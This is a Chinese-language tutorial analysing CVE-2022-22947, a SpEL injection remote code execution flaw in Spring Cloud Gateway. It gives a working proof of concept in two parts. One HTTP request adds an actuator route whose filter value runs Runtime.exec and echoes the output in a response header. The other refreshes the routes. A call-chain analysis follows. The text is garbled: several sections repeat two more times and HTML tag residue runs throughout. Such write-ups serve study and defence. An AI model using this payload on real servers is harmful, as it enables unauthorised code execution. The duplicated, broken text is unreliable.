Spring Cloud Gateway SPEL RCE漏洞分析(CVE-2022-22947)教学文档<\/h1>

漏洞概述<\/h2>
CVE-2022-22947是Spring Cloud Gateway中的一个远程代码执行漏洞，由于对用户提供的SpEL表达式处理不当，导致攻击者可以通过构造恶意请求在目标服务器上执行任意代码。<\/p>

漏洞环境搭建<\/h2>

克隆Spring Cloud Gateway仓库：<\/li> <\/ol>

git clone https:\/\/github.com\/spring-cloud\/spring-cloud-gateway
<\/span><\/span>cd spring-cloud-gateway
<\/span><\/span>git checkout v3.1.0
<\/span><\/span><\/code><\/pre>漏洞复现POC<\/h2>
添加恶意路由<\/h3>
POST<\/span> \/actuator\/gateway\/routes\/new_route HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> 127.0.0.1:8080<\/span>
<\/span><\/span>Connection:<\/span> close<\/span>
<\/span><\/span>Content-Type:<\/span> application\/json<\/span>
<\/span><\/span>
<\/span><\/span>{
<\/span><\/span>    "id"<\/span>: "hacktest"<\/span>,
<\/span><\/span>    "filters"<\/span>: [{
<\/span><\/span>        "name"<\/span>: "AddResponseHeader"<\/span>,
<\/span><\/span>        "args"<\/span>: {
<\/span><\/span>            "name"<\/span>: "Result"<\/span>,
<\/span><\/span>            "value"<\/span>: "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"<\/span>
<\/span><\/span>        }
<\/span><\/span>    }],
<\/span><\/span>    "uri"<\/span>: "http:\/\/example.com"<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>刷新路由使配置生效<\/h3>
POST<\/span> \/actuator\/gateway\/refresh HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> 127.0.0.1:8080<\/span>
<\/span><\/span>Connection:<\/span> close<\/span>
<\/span><\/span><\/code><\/pre>漏洞分析<\/h2>
漏洞根源<\/h3>
漏洞的根本原因是存在SpEL注入，关键点在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue<\/code>方法。<\/p>
漏洞触发链<\/h3>

ShortcutConfigurable.ShortcutType<\/code>枚举中调用了getValue<\/code>函数<\/li>
shortcutType<\/code>方法调用了ShortcutType.DEFAULT<\/code>枚举<\/li>
org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties<\/code>调用了shortcutType<\/code>函数<\/li>
normalizeProperties<\/code>函数对成员变量properties<\/code>进行处理<\/li>
ConfigurableBuilder<\/code>的父类AbstractBuilder#bind<\/code>中调用了normalizeProperties<\/code>函数<\/li>
bind<\/code>方法被loadGatewayFilters<\/code>调用<\/li>
完整的调用链：
RouteDefinitionRouteLocator#loadGatewayFilters 
→ RouteDefinitionRouteLocator#getFilters 
→ RouteDefinitionRouteLocator#convertToRoute 
→ RouteDefinitionRouteLocator#getRoutes 
→ GatewayControllerEndpoint#route
<\/code><\/pre>
<\/li>
<\/ol>
路由添加过程分析<\/h3>


添加路由时构造RouteDefinition<\/code>结构，包含：<\/p>

id: 路由ID<\/li>
filters: 过滤器数组<\/li>
uri: 目标URI<\/li>
<\/ul>
<\/li>

FilterDefinition<\/code>结构：<\/p>

name: 过滤器名称<\/li>
args: 参数键值对<\/li>
<\/ul>
<\/li>

validateRouteDefinition<\/code>函数会校验添加的路由name是否与已有的filter匹配<\/p>

系统默认有29个filter<\/li>
POC中选择AddResponseHeader<\/code>因为它能够回显结果<\/li>
<\/ul>
<\/li>
<\/ol>
漏洞修复<\/h2>
修复方案主要是对SpEL表达式进行安全处理，避免直接执行用户输入的表达式。<\/p>
总结<\/h2>
该漏洞利用Spring Cloud Gateway的路由配置功能，通过构造恶意的SpEL表达式实现远程代码执行。虽然漏洞原理简单，但完整的利用链需要对Spring Cloud Gateway框架有较深理解才能完全梳理清楚。<\/p>
参考链接<\/h2>

https:\/\/y4er.com\/post\/cve-2022-22947-springcloud-gateway-spel-rce-echo-response<\/li>
<\/ul>

Spring Cloud Gateway SPEL RCE漏洞分析(CVE-2022-22947)教学文档<\/h1>

漏洞概述<\/h2> CVE-2022-22947是Spring Cloud Gateway中的一个远程代码执行漏洞，由于对用户提供的SpEL表达式处理不当，导致攻击者可以通过构造恶意请求在目标服务器上执行任意代码。<\/p>

漏洞复现POC<\/h2>

漏洞分析<\/h2>

漏洞根源<\/h3> 漏洞的根本原因是存在SpEL注入，关键点在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue<\/code>方法。<\/p>

漏洞修复<\/h2> 修复方案主要是对SpEL表达式进行安全处理，避免直接执行用户输入的表达式。<\/p>

总结<\/h2> 该漏洞利用Spring Cloud Gateway的路由配置功能，通过构造恶意的SpEL表达式实现远程代码执行。虽然漏洞原理简单，但完整的利用链需要对Spring Cloud Gateway框架有较深理解才能完全梳理清楚。<\/p>

参考链接<\/h2> https:\/\/y4er.com\/post\/cve-2022-22947-springcloud-gateway-spel-rce-echo-response<\/li> <\/ul>

漏洞概述<\/h2>
CVE-2022-22947是Spring Cloud Gateway中的一个远程代码执行漏洞，由于对用户提供的SpEL表达式处理不当，导致攻击者可以通过构造恶意请求在目标服务器上执行任意代码。<\/p>

漏洞根源<\/h3>
漏洞的根本原因是存在SpEL注入，关键点在`org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue<\/code>方法。<\/p>`

漏洞修复<\/h2>
修复方案主要是对SpEL表达式进行安全处理，避免直接执行用户输入的表达式。<\/p>

总结<\/h2>
该漏洞利用Spring Cloud Gateway的路由配置功能，通过构造恶意的SpEL表达式实现远程代码执行。虽然漏洞原理简单，但完整的利用链需要对Spring Cloud Gateway框架有较深理解才能完全梳理清楚。<\/p>

参考链接<\/h2>

https:\/\/y4er.com\/post\/cve-2022-22947-springcloud-gateway-spel-rce-echo-response<\/li> <\/ul>